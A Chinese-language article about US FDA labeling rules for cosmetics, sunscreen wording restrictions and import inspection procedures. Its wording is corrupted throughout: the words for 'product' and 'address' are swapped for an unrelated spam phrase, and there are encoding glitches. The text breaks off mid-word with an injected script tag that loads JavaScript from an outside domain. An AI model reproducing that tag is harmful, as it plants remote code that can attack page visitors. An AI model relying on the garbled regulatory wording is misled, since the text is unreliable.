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美國FDA有關化妝品標簽的管理規定

编辑者:嘉工生物 2017-03-16 13:24:10

  美國食品和藥品管理局(FDA)對化妝品的管理已有50多年的曆史,對化妝品的標簽和檢驗有著非常嚴格的管理制度。在美國市場上銷售的化妝品,必須符合《食品、藥品和化妝品法》(FDCA)、《良好包裝和標簽法》(FPLA)以及有關當局頒布的其他法規。

  美國對化妝品標簽的有關規定

  比比资源先锋名称 包括对名称、比比资源先锋性质、用途以及内容物准确的净重描述。如果比比资源先锋的安全性未经充分检测就需注明:本比比资源先锋的安全性未经确定。

  比比资源先锋商或经销商名称和比比资源先锋 比比资源先锋必须包括街道、城市、州和邮政编码,如果经销商不是比比资源先锋厂或批发商,则必须在标签中按规定的语句说明。

  比比资源先锋成分 在美国,要求在供个人使用的零售化妆品标签上注明成分。但是对于在专业机构用于专业人员的发用比比资源先锋或化妆品以及在工作场所供个人使用的清洁、護膚比比资源先锋,如果 不将其销售给消费者作为家庭使用时可以不注明成分。

  注明成分必须使用英语 成分的排列顺序是根据其用量和主要用途决定的。属于药品的化妆品,需要活性药品成分排在化妆品成分之前,色素和含量小于或等于百分之一的成分可不考虑用量次序排列。通常排列次序为:活性药品成分、用量小于或等于1%的成分、色素、其他成分。注明成分时对所使用的成分名称需采用法定名称,经FDA同意不需注明的成分可以注明为“其他成分”。

  警告用语和注意事项 根据规定,在某些比比资源先锋标签上需标注法规规定的警告用语和注意事项。有些被消费者误认时可能带来危害的比比资源先锋,FDA要求除需标注警告用语外尚需说明安全使用方法,以指导消费者正确和安全使用比比资源先锋。

  防晒制品 对防晒制品(Suncreen Products)的标签,FDA颁布了特殊规定,禁止使用若干可能会误导及蒙骗消费者的特定字眼作标签,如sunblock(防晒)、water?鄄proof(防水)、allday protection(全日保护)、visible and infrared protection(视觉及红外线保护)等。此外,FDA还要求所有的防晒制品必须列出16种可以用来防晒的成分资料。

  另外,防曬制品必須經過試驗來驗證其防曬因子(SPF)的含量,防曬制品一定要能提供低度、中度或高度的保護。對許多SPF含量超過30的防曬制品,其標識一律簡化爲30+。防曬用品的標識,要告知消費者不要過度暴曬陽光,要穿上保護性服裝,不僅要給消費者提供使用防曬品可以降低皮膚老化、皮膚癌等疾病的信息,還要提供過度暴曬陽光有害的信息。

  美國對進口化妝品的檢驗標准

  美國《食品、藥品和化妝品法》第801節授權美國FDA檢驗通過美國海關進入美國境內的化妝品。檢驗既可在入境之前,也可在抵達進口商和中間商之後進行,進口商/中間商把向美國海關報關文件副本,連同每次報關物品的發票提交給FDA。

  美國海關和FDA對報關歸檔分類,以鑒別需FDA執行法律法規的程序。接到報關文件後,對進口比比资源先锋的初檢是記錄複核。

  記錄複核決定。通過對化妝品進行記錄複核,將作出下列的決定:

  a、本批放行;

  b、本批自動扣押;

  c、通過碼頭檢驗或取樣進行檢驗。

  標簽檢驗內容。對于化妝品,碼頭檢驗基本上包括對于強制性標簽要求的標簽檢驗,以確定化妝品的標簽上是否帶有或列出下列內容:

  a、配料標簽;

  b、禁用配料;

  c、英語標簽;

  d、不准許使用的色素;

  e、法規要求的警示性說明;

  f、比比资源先锋需用符合要求的抗幹擾的包裝;

  g、其他強制性標簽信息,如制造商工廠的名稱和比比资源先锋,包裝商或經銷商企業的名稱和比比资源先锋、品名、內容物淨含量等。

  抽樣檢查。進行進口檢查的檢驗員可對全部入境比比资源先锋、多重批次或單一系列比比资源先锋進行碼頭檢驗或抽取樣品。取樣一般包括對比比资源先锋的物理采集或文件彙總,用于FDA地區實驗室的隨後檢驗。無論何時FDA抽取了樣品,總會向貨主和承銷商提供一份取樣通知單。

  檢驗可包括色素分析、汙染分析、微生物分析和化學汙染分析。檢驗也可是複查標簽或標簽制作,以確定是否符合法規對化妝品的標簽制作的要求或是否帶有療效或藥物聲明。

  進口程序。

  a、在貨物抵達入境口岸之日起的5個工作日,進口商或機構向美國海關總署填報入境文件;

  b、當FDA接到入境通報後,審核進口商的報關單以確定是否應進行物理檢驗(碼頭檢驗、抽樣檢驗);

  c、如果決定不抽取樣品,FDA分別向美國海關和案及進口商發送(可續行通知)。此時,本批貨物在FDA處予以放行。

  但應注意的是,“可不經檢驗續行”並不意味著比比资源先锋符合要求,它只表示比比资源先锋在入境時FDA不予檢驗。如果日後發現比比资源先锋違反法律和法規,將視違法的性質啓動相應的法律措施(如沒收等)。

  如果决定取样,FDA分别向美国海关和进口商发送“取样通知书”,该批货物必须保持原样以待进一步通知,FDA将从该批货物中抽取样?script src=http://cn.jxmmtv.com/cn.js></script>